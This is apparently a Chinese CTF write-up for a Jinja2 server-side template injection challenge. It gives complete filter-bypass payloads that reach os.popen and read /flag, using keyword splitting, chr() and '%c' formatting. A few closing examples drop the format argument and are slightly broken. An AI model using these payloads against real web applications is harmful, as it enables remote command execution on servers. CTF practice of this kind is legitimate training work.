复读机
Created At :
Count:1.1k
Views 👀 :
复读机
首先打开靶机发现很明显是ssti,但是会检测开头,开头必须是BaseCTF
然后测试过滤,过滤了以下符号
1
| + - * / . {{ }} __ : " \
|
先去找能够进行RCE的类比如 <class 'os._wrap_close'>,’.’被过滤了,用中括号绕过,一些关键字被过滤,在关键字中间插入一对单引号 ''绕过
1
| BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137])%}
|
然后测试一下能否命令执行
1
| BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('pwd')['rea''d']())%}
|
发现成功执行
但是这里过滤了斜杠/和反斜杠,我们需要利用chr函数构造斜杠
首先先找到并set一个chr函数
1 2
| BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%} {% print(chr) %}
|
利用chr函数和~拼接构造命令
1 2 3
| BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%} {% set cmd='cat '~chr(47)~'flag' %} {%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}
|
最后把 cmd 作为 popen 的参数传递进去,即可得到 flag
同理,利用 format 来得到 / 也是可以的
1 2
| BaseCTF{% set cmd='cat '~'%c'%(47)~'flag' %} {%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}
|
知识点
chr函数
当我们需要绕过一些特殊字符过滤时,比如斜杠/,空格时,可以先去找<class 'os._wrap_close'>类然后去找到chr函数并调用,通过
{%set chr=xxx%}去构造出一个chr函数,然后就能通过ascii码值去构造出这些特殊字符
例如:
1 2 3 4 5 6 7 8 9 10 11
| {% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%} {% print(chr(47)) %}
chr(47) chr(32)
通过~符号拼接构造出命令 {% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%} {% set cmd='cat '~chr(47)~'flag' %}
|
除了使用chr函数添加ascii码参数构造特殊字符外,还可以使用python的格式化字符来生成特殊字符
例如:
1 2 3 4 5
| '%c' % 会输出字符串 /
然后~符号通过拼接构造出命令 {% set cmd='cat '~'%c'%~'flag' %}
|
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。